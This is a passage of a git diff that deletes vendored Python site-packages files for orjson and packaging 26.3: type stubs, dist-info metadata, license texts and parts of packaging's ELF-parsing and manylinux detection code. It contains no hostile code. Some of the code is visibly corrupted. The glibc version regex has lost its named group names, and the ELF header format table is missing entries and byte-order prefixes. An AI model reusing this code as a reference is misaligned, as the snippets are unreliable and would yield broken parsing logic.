"registry+https://github.com/rust-lang/crates.io-index#xxhash-rust@0.8.18" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#zmij@1.0.23", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#no-panic@0.1.37" - ] - } - ] -} \ No newline at end of file diff --git a/venv/Lib/site-packages/orjson/__init__.py b/venv/Lib/site-packages/orjson/__init__.py deleted file mode 100644 index 26a5b15c9aa244d92a92985d693dc6fc016139a4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson/__init__.py +++ /dev/null @@ -1,32 +0,0 @@ -# SPDX-License-Identifier: MPL-2.0 -# Copyright ijl (2023-2026) - -""" -Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy -""" - -from .orjson import * -from .orjson import __version__ - -__all__ = ( - "__version__", - "dumps", - "Fragment", - "JSONDecodeError", - "JSONEncodeError", - "loads", - "OPT_APPEND_NEWLINE", - "OPT_INDENT_2", - "OPT_NAIVE_UTC", - "OPT_NON_STR_KEYS", - "OPT_OMIT_MICROSECONDS", - "OPT_PASSTHROUGH_DATACLASS", - "OPT_PASSTHROUGH_DATETIME", - "OPT_PASSTHROUGH_SUBCLASS", - "OPT_SERIALIZE_DATACLASS", - "OPT_SERIALIZE_NUMPY", - "OPT_SERIALIZE_UUID", - "OPT_SORT_KEYS", - "OPT_STRICT_INTEGER", - "OPT_UTC_Z", -) diff --git a/venv/Lib/site-packages/orjson/__init__.pyi b/venv/Lib/site-packages/orjson/__init__.pyi deleted file mode 100644 index 7d7a6e020ca5d13a66533cca9b3b5eba71e2bafe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson/__init__.pyi +++ /dev/null @@ -1,36 +0,0 @@ -# SPDX-License-Identifier: (Apache-2.0 OR MIT) -# Copyright ijl (2019-2026), Eric Jolibois (2022), Anders Kaseorg (2020) - -import json -from collections.abc import Callable -from typing import Any - -__version__: str - -def dumps( - __obj: Any, - default: Callable[[Any], Any] | None = ..., - option: int | None = ..., -) -> bytes: ... -def loads(__obj: bytes | bytearray | memoryview | str) -> Any: ... - -class JSONDecodeError(json.JSONDecodeError): ... -class JSONEncodeError(TypeError): ... - -class Fragment(tuple): - contents: bytes | str - -OPT_APPEND_NEWLINE: int -OPT_INDENT_2: int -OPT_NAIVE_UTC: int -OPT_NON_STR_KEYS: int -OPT_OMIT_MICROSECONDS: int -OPT_PASSTHROUGH_DATACLASS: int -OPT_PASSTHROUGH_DATETIME: int -OPT_PASSTHROUGH_SUBCLASS: int -OPT_SERIALIZE_DATACLASS: int -OPT_SERIALIZE_NUMPY: int -OPT_SERIALIZE_UUID: int -OPT_SORT_KEYS: int -OPT_STRICT_INTEGER: int -OPT_UTC_Z: int diff --git a/venv/Lib/site-packages/orjson/orjson.cp314-win_amd64.pyd b/venv/Lib/site-packages/orjson/orjson.cp314-win_amd64.pyd deleted file mode 100644 index f6386bbf14095ba123b2f39b76997892e7119595..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson/orjson.cp314-win_amd64.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:8a61d46fe68276767b2f25925183814a8057250ab31637c7f4c090d24cbbfca6 -size 224768 diff --git a/venv/Lib/site-packages/orjson/py.typed b/venv/Lib/site-packages/orjson/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/INSTALLER b/venv/Lib/site-packages/packaging-26.3.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/METADATA b/venv/Lib/site-packages/packaging-26.3.dist-info/METADATA deleted file mode 100644 index 9a85a75b1f53f042eedc6731042e96f5a96ed6da..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/METADATA +++ /dev/null @@ -1,112 +0,0 @@ -Metadata-Version: 2.4 -Name: packaging -Version: 26.3 -Summary: Core utilities for Python packages -Author-email: Donald Stufft -Requires-Python: >=3.9 -Description-Content-Type: text/x-rst -License-Expression: Apache-2.0 OR BSD-2-Clause -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Programming Language :: Python :: Free Threading :: 4 - Resilient -Classifier: Typing :: Typed -License-File: LICENSE -License-File: LICENSE.APACHE -License-File: LICENSE.BSD -Project-URL: Documentation, https://packaging.pypa.io/ -Project-URL: Source, https://github.com/pypa/packaging - -packaging -========= - -.. start-intro - -Reusable core utilities for various Python Packaging -`interoperability specifications `_. - -This library provides utilities that implement the interoperability -specifications which have clearly one correct behaviour (eg: :pep:`440`) -or benefit greatly from having a single shared implementation (eg: :pep:`425`). - -.. end-intro - -The ``packaging`` project includes the following: version handling, specifiers, -markers, requirements, tags, metadata, lockfiles, utilities. - -Documentation -------------- - -The `documentation`_ provides information and the API for the following: - -- Version Handling -- Specifiers -- Markers -- Licenses -- Requirements -- Metadata -- Tags -- Lockfiles (pylock) -- Direct URL helpers -- Dependency groups -- Errors -- Utilities - -Installation ------------- - -Use ``pip`` to install these utilities:: - - pip install packaging - -The ``packaging`` library uses calendar-based versioning (``YY.N``). - -Discussion ----------- - -If you run into bugs, you can file them in our `issue tracker`_. - -You can also join discussions on `GitHub Discussions`_ to ask questions or get involved. - -.. _`documentation`: https://packaging.pypa.io/ -.. _`issue tracker`: https://github.com/pypa/packaging/issues -.. _`GitHub Discussions`: https://github.com/pypa/packaging/discussions - - -Code of Conduct ---------------- - -Everyone interacting in the packaging project's codebases, issue trackers, chat -rooms, and mailing lists is expected to follow the `PSF Code of Conduct`_. - -.. _PSF Code of Conduct: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md - -Contributing ------------- - -The ``CONTRIBUTING.rst`` file outlines how to contribute to this project as -well as how to report a potential security issue. The documentation for this -project also covers information about `project development`_ and `security`_. - -.. _`project development`: https://packaging.pypa.io/en/latest/development/ -.. _`security`: https://packaging.pypa.io/en/latest/security/ - -Project History ---------------- - -Please review the ``CHANGELOG.rst`` file or the `Changelog documentation`_ for -recent changes and project history. - -.. _`Changelog documentation`: https://packaging.pypa.io/en/latest/changelog/ - diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/RECORD b/venv/Lib/site-packages/packaging-26.3.dist-info/RECORD deleted file mode 100644 index 315e2830ea388174ca3f1a3eaf1866308459b584..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/RECORD +++ /dev/null @@ -1,52 +0,0 @@ -packaging-26.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -packaging-26.3.dist-info/METADATA,sha256=cP24n8TUqaBDv3NyuJcrzIg_3f80q1Xpz4DXOHU4R2M,3544 -packaging-26.3.dist-info/RECORD,, -packaging-26.3.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82 -packaging-26.3.dist-info/licenses/LICENSE,sha256=ytHvW9NA1z4HS6YU0m996spceUDD2MNIUuZcSQlobEg,197 -packaging-26.3.dist-info/licenses/LICENSE.APACHE,sha256=DVQuDIgE45qn836wDaWnYhSdxoLXgpRRKH4RuTjpRZQ,10174 -packaging-26.3.dist-info/licenses/LICENSE.BSD,sha256=tw5-m3QvHMb5SLNMFqo5_-zpQZY2S8iP8NIYDwAo-sU,1344 -packaging/__init__.py,sha256=bnWM3QAossrXTHObmtycnwbwVJMjBigLh4v-WdOSGbU,494 -packaging/__pycache__/__init__.cpython-314.pyc,, -packaging/__pycache__/_elffile.cpython-314.pyc,, -packaging/__pycache__/_manylinux.cpython-314.pyc,, -packaging/__pycache__/_musllinux.cpython-314.pyc,, -packaging/__pycache__/_parser.cpython-314.pyc,, -packaging/__pycache__/_ranges.cpython-314.pyc,, -packaging/__pycache__/_structures.cpython-314.pyc,, -packaging/__pycache__/_tokenizer.cpython-314.pyc,, -packaging/__pycache__/dependency_groups.cpython-314.pyc,, -packaging/__pycache__/direct_url.cpython-314.pyc,, -packaging/__pycache__/errors.cpython-314.pyc,, -packaging/__pycache__/markers.cpython-314.pyc,, -packaging/__pycache__/metadata.cpython-314.pyc,, -packaging/__pycache__/pylock.cpython-314.pyc,, -packaging/__pycache__/ranges.cpython-314.pyc,, -packaging/__pycache__/requirements.cpython-314.pyc,, -packaging/__pycache__/specifiers.cpython-314.pyc,, -packaging/__pycache__/tags.cpython-314.pyc,, -packaging/__pycache__/utils.cpython-314.pyc,, -packaging/__pycache__/version.cpython-314.pyc,, -packaging/_elffile.py,sha256=HwJfVMVz8ahXQMT72QjMHR-wwXfBQ3fr9fCdbNU2h4A,3236 -packaging/_manylinux.py,sha256=W26EMkxCU4q0zbFI4kMP26NvBEJ7Dv2lW-oIOjX6YTY,10000 -packaging/_musllinux.py,sha256=Ayj7gnsRcMd99MEH1Jvo3403JiEDSQph6Kytii-crf8,2774 -packaging/_parser.py,sha256=iKNIEVIJMnSX5FO2NeXbCZ_VkvkzXXEMcxOynNswxQw,12639 -packaging/_ranges.py,sha256=t7WV8uaSrrNpfFRbhcJMu8tFUvKtxtkFmqgtCHfoFrc,30850 -packaging/_structures.py,sha256=60jRbF78p8z5MKnNd6cAprgOadCJHV0DlmUmRBqFZcs,1109 -packaging/_tokenizer.py,sha256=zCXlfA1WTInhUHNHHW4cJkKZypRvsXwOHkr1TvdxPuY,5573 -packaging/dependency_groups.py,sha256=UwnMVkyjAi37WUgW6dWTuwnN80IIwfuMXsmvtsZwJ4w,11224 -packaging/direct_url.py,sha256=hDuqldBMu0kojenZ_XfulG6GLLYDEj5-RqaeFx-n0Gs,11645 -packaging/errors.py,sha256=6hfEYXAf8v_IF65-lFadJOMIieBP2xIKtyEXjG1nGIs,2680 -packaging/licenses/__init__.py,sha256=WQ0S7uc92-xTtOnuW_xk2cs6rLSUDo68uiYHV85WdAs,7859 -packaging/licenses/__pycache__/__init__.cpython-314.pyc,, -packaging/licenses/__pycache__/_spdx.cpython-314.pyc,, -packaging/licenses/_spdx.py,sha256=WW7DXiyg68up_YND_wpRYlr1SHhiV4FfJLQffghhMxQ,51122 -packaging/markers.py,sha256=bL6GDTXZjStZnn8Oxz_qsSTgFXEbML6QReZ4ySlA2cw,20554 -packaging/metadata.py,sha256=k0FJ9CClRJ5vN2qmHW8moII-uCzHxqHIzeWqe-Q9D2M,42059 -packaging/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -packaging/pylock.py,sha256=G84Kn-Y-Qrh-jO0F2icrrxamiqcEs3GEBeJzWmESRnw,35232 -packaging/ranges.py,sha256=tHgc6RPl3_ngeQbyBYXFTDAo4ff_VjQYKOedUi3b-rY,83054 -packaging/requirements.py,sha256=RZR26yEH_jDmsTEAUaW9tEx9O3944Oh7raJoKCy6YvU,7040 -packaging/specifiers.py,sha256=ZhrTHd9F_7hh0mJnNPTj1mlmApuP23lYa7EFgl2NnVk,52798 -packaging/tags.py,sha256=DnF6CCp5Yg15zwMhtCDfFVk8SRb82gPCfLnYLgfvXW4,38302 -packaging/utils.py,sha256=oTdCzZmU7spa37AknRJkCMR4Am6x9Iy5evvy_p8o7MY,12215 -packaging/version.py,sha256=VYsvtQ_RmMZgpMCC-WuJGcVlkRtrS24H80trYMB0vpc,39040 diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/WHEEL b/venv/Lib/site-packages/packaging-26.3.dist-info/WHEEL deleted file mode 100644 index d8b9936dad9ab2513fa6979f411560d3b6b57e37..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: flit 3.12.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE b/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE deleted file mode 100644 index 6f62d44e4ef733c0e713afcd2371fed7f2b3de67..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE +++ /dev/null @@ -1,3 +0,0 @@ -This software is made available under the terms of *either* of the licenses -found in LICENSE.APACHE or LICENSE.BSD. Contributions to this software is made -under the terms of *both* these licenses. diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.APACHE b/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.APACHE deleted file mode 100644 index f433b1a53f5b830a205fd2df78e2b34974656c7b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.APACHE +++ /dev/null @@ -1,177 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS diff --git a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.BSD b/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.BSD deleted file mode 100644 index 42ce7b75c92fb01a3f6ed17eea363f756b7da582..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging-26.3.dist-info/licenses/LICENSE.BSD +++ /dev/null @@ -1,23 +0,0 @@ -Copyright (c) Donald Stufft and individual contributors. -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/packaging/__init__.py b/venv/Lib/site-packages/packaging/__init__.py deleted file mode 100644 index 5a969154fefef91c98d6c42a5a709745ced5d0f8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -__title__ = "packaging" -__summary__ = "Core utilities for Python packages" -__uri__ = "https://github.com/pypa/packaging" - -__version__ = "26.3" - -__author__ = "Donald Stufft and individual contributors" -__email__ = "donald@stufft.io" - -__license__ = "BSD-2-Clause or Apache-2.0" -__copyright__ = f"2014 {__author__}" diff --git a/venv/Lib/site-packages/packaging/_elffile.py b/venv/Lib/site-packages/packaging/_elffile.py deleted file mode 100644 index 1ce081d0d2b3f8ff75e5b7f3406b7341bfbc489c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_elffile.py +++ /dev/null @@ -1,108 +0,0 @@ -""" -ELF file parser. - -This provides a class ``ELFFile`` that parses an ELF executable in a similar -interface to ``ZipFile``. Only the read interface is implemented. - -ELF header: https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html -""" - -from __future__ import annotations - -import enum -import os -import struct -from typing import IO - - -class ELFInvalid(ValueError): - pass - - -class EIClass(enum.IntEnum): - C32 = 1 - C64 = 2 - - -class EIData(enum.IntEnum): - Lsb = 1 - Msb = 2 - - -class EMachine(enum.IntEnum): - I386 = 3 - S390 = 22 - Arm = 40 - X8664 = 62 - AArch64 = 183 - - -class ELFFile: - """ - Representation of an ELF executable. - """ - - def __init__(self, f: IO[bytes]) -> None: - self._f = f - - try: - ident = self._read("16B") - except struct.error as e: - raise ELFInvalid("unable to parse identification") from e - magic = bytes(ident[:4]) - if magic != b"\x7fELF": - raise ELFInvalid(f"invalid magic: {magic!r}") - - self.capacity = ident[4] # Format for program header (bitness). - self.encoding = ident[5] # Data structure encoding (endianness). - - try: - # e_fmt: Format for the ELF header. - # p_fmt: Format for a program header. - # p_idx: Indexes to find p_type, p_offset, and p_filesz. - e_fmt, self._p_fmt, self._p_idx = { - (1, 1): ("HHIIIIIHHH", ">IIIIIIII", (0, 1, 4)), # 32-bit MSB. - (2, 1): ("HHIQQQIHHH", ">IIQQQQQQ", (0, 2, 5)), # 64-bit MSB. - }[(self.capacity, self.encoding)] - except KeyError as e: - raise ELFInvalid( - f"unrecognized capacity ({self.capacity}) or encoding ({self.encoding})" - ) from e - - try: - ( - _, - self.machine, # Architecture type. - _, - _, - self._e_phoff, # Offset of program header. - _, - self.flags, # Processor-specific flags. - _, - self._e_phentsize, # Size of a program header entry. - self._e_phnum, # Number of program headers. - ) = self._read(e_fmt) - except struct.error as e: - raise ELFInvalid("unable to parse machine and section information") from e - - def _read(self, fmt: str) -> tuple[int, ...]: - return struct.unpack(fmt, self._f.read(struct.calcsize(fmt))) - - @property - def interpreter(self) -> str | None: - """ - The path recorded in the ``PT_INTERP`` section header. - """ - for index in range(self._e_phnum): - self._f.seek(self._e_phoff + self._e_phentsize * index) - try: - data = self._read(self._p_fmt) - except struct.error: - continue - if data[self._p_idx[0]] != 3: # Not PT_INTERP. - continue - self._f.seek(data[self._p_idx[1]]) - return os.fsdecode(self._f.read(data[self._p_idx[2]])).strip("\0") - return None diff --git a/venv/Lib/site-packages/packaging/_manylinux.py b/venv/Lib/site-packages/packaging/_manylinux.py deleted file mode 100644 index 86de1e6d599dbe5e8426eb130db5e8558cb47d58..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_manylinux.py +++ /dev/null @@ -1,278 +0,0 @@ -from __future__ import annotations - -import collections -import contextlib -import functools -import os -import re -import sys -import warnings -from typing import TYPE_CHECKING, NamedTuple - -from ._elffile import EIClass, EIData, ELFFile, EMachine - -if TYPE_CHECKING: - import types - from collections.abc import Generator, Iterator, Sequence - -EF_ARM_ABIMASK = 0xFF000000 -EF_ARM_ABI_VER5 = 0x05000000 -EF_ARM_ABI_FLOAT_HARD = 0x00000400 - -_ALLOWED_ARCHS = { - "x86_64", - "aarch64", - "ppc64", - "ppc64le", - "s390x", - "loongarch64", - "riscv64", -} - - -@contextlib.contextmanager -def _parse_elf(path: str) -> Generator[ELFFile | None, None, None]: - try: - with open(path, "rb") as f: - yield ELFFile(f) - except (OSError, TypeError, ValueError): - yield None - - -def _is_linux_armhf(executable: str) -> bool: - # hard-float ABI can be detected from the ELF header of the running - # process - # https://static.docs.arm.com/ihi0044/g/aaelf32.pdf - with _parse_elf(executable) as f: - return ( - f is not None - and f.capacity == EIClass.C32 - and f.encoding == EIData.Lsb - and f.machine == EMachine.Arm - and f.flags & EF_ARM_ABIMASK == EF_ARM_ABI_VER5 - and f.flags & EF_ARM_ABI_FLOAT_HARD == EF_ARM_ABI_FLOAT_HARD - ) - - -def _is_linux_i686(executable: str) -> bool: - with _parse_elf(executable) as f: - return ( - f is not None - and f.capacity == EIClass.C32 - and f.encoding == EIData.Lsb - and f.machine == EMachine.I386 - ) - - -def _have_compatible_abi(executable: str, archs: Sequence[str]) -> bool: - if "armv7l" in archs: - return _is_linux_armhf(executable) - if "i686" in archs: - return _is_linux_i686(executable) - return any(arch in _ALLOWED_ARCHS for arch in archs) - - -# If glibc ever changes its major version, we need to know what the last -# minor version was, so we can build the complete list of all versions. -# For now, guess what the highest minor version might be, assume it will -# be 50 for testing. Once this actually happens, update the dictionary -# with the actual value. -_LAST_GLIBC_MINOR: dict[int, int] = collections.defaultdict(lambda: 50) - - -class _GLibCVersion(NamedTuple): - major: int - minor: int - - -def _glibc_version_string_confstr() -> str | None: - """ - Primary implementation of glibc_version_string using os.confstr. - """ - # os.confstr is quite a bit faster than ctypes.DLL. It's also less likely - # to be broken or missing. This strategy is used in the standard library - # platform module. - # https://github.com/python/cpython/blob/fcf1d003bf4f0100c/Lib/platform.py#L175-L183 - try: - # Should be a string like "glibc 2.17". - version_string: str | None = os.confstr("CS_GNU_LIBC_VERSION") - assert version_string is not None - _, version = version_string.rsplit() - except (AssertionError, AttributeError, OSError, ValueError): - # os.confstr() or CS_GNU_LIBC_VERSION not available (or a bad value)... - return None - return version - - -def _glibc_version_string_ctypes() -> str | None: - """ - Fallback implementation of glibc_version_string using ctypes. - """ - try: - import ctypes # noqa: PLC0415 - except ImportError: - return None - - # ctypes.CDLL(None) internally calls dlopen(NULL), and as the dlopen - # manpage says, "If filename is NULL, then the returned handle is for the - # main program". This way we can let the linker do the work to figure out - # which libc our process is actually using. - # - # We must also handle the special case where the executable is not a - # dynamically linked executable. This can occur when using musl libc, - # for example. In this situation, dlopen() will error, leading to an - # OSError. Interestingly, at least in the case of musl, there is no - # errno set on the OSError. The single string argument used to construct - # OSError comes from libc itself and is therefore not portable to - # hard code here. In any case, failure to call dlopen() means we - # can proceed, so we bail on our attempt. - try: - process_namespace = ctypes.CDLL(None) - except OSError: - return None - - try: - gnu_get_libc_version = process_namespace.gnu_get_libc_version - except AttributeError: - # Symbol doesn't exist -> therefore, we are not linked to - # glibc. - return None - - # Call gnu_get_libc_version, which returns a string like "2.5". - gnu_get_libc_version.restype = ctypes.c_char_p - # A c_char_p restype comes back as bytes, so decode to text. - version_str: str | bytes = gnu_get_libc_version() - if isinstance(version_str, bytes): - version_str = version_str.decode("ascii") - - return version_str - - -def _glibc_version_string() -> str | None: - """Returns glibc version string, or None if not using glibc.""" - return _glibc_version_string_confstr() or _glibc_version_string_ctypes() - - -def _parse_glibc_version(version_str: str) -> _GLibCVersion: - """Parse glibc version. - - We use a regexp instead of str.split because we want to discard any - random junk that might come after the minor version -- this might happen - in patched/forked versions of glibc (e.g. Linaro's version of glibc - uses version strings like "2.20-2014.11"). See gh-3588. - """ - m = re.match(r"(?P[0-9]+)\.(?P[0-9]+)", version_str) - if not m: - warnings.warn( - f"Expected glibc version with 2 components major.minor, got: {version_str}", - RuntimeWarning, - stacklevel=2, - ) - return _GLibCVersion(-1, -1) - return _GLibCVersion(int(m.group("major")), int(m.group("minor"))) - - -@functools.lru_cache -def _get_glibc_version() -> _GLibCVersion: - version_str = _glibc_version_string() - if version_str is None: - return _GLibCVersion(-1, -1) - return _parse_glibc_version(version_str) - - -# From PEP 513, PEP 600 -@functools.lru_cache(maxsize=1) -def _get_manylinux_module() -> types.ModuleType | None: - """Return the ``_manylinux`` C extension module, or None if unavailable. - - The result is cached for the 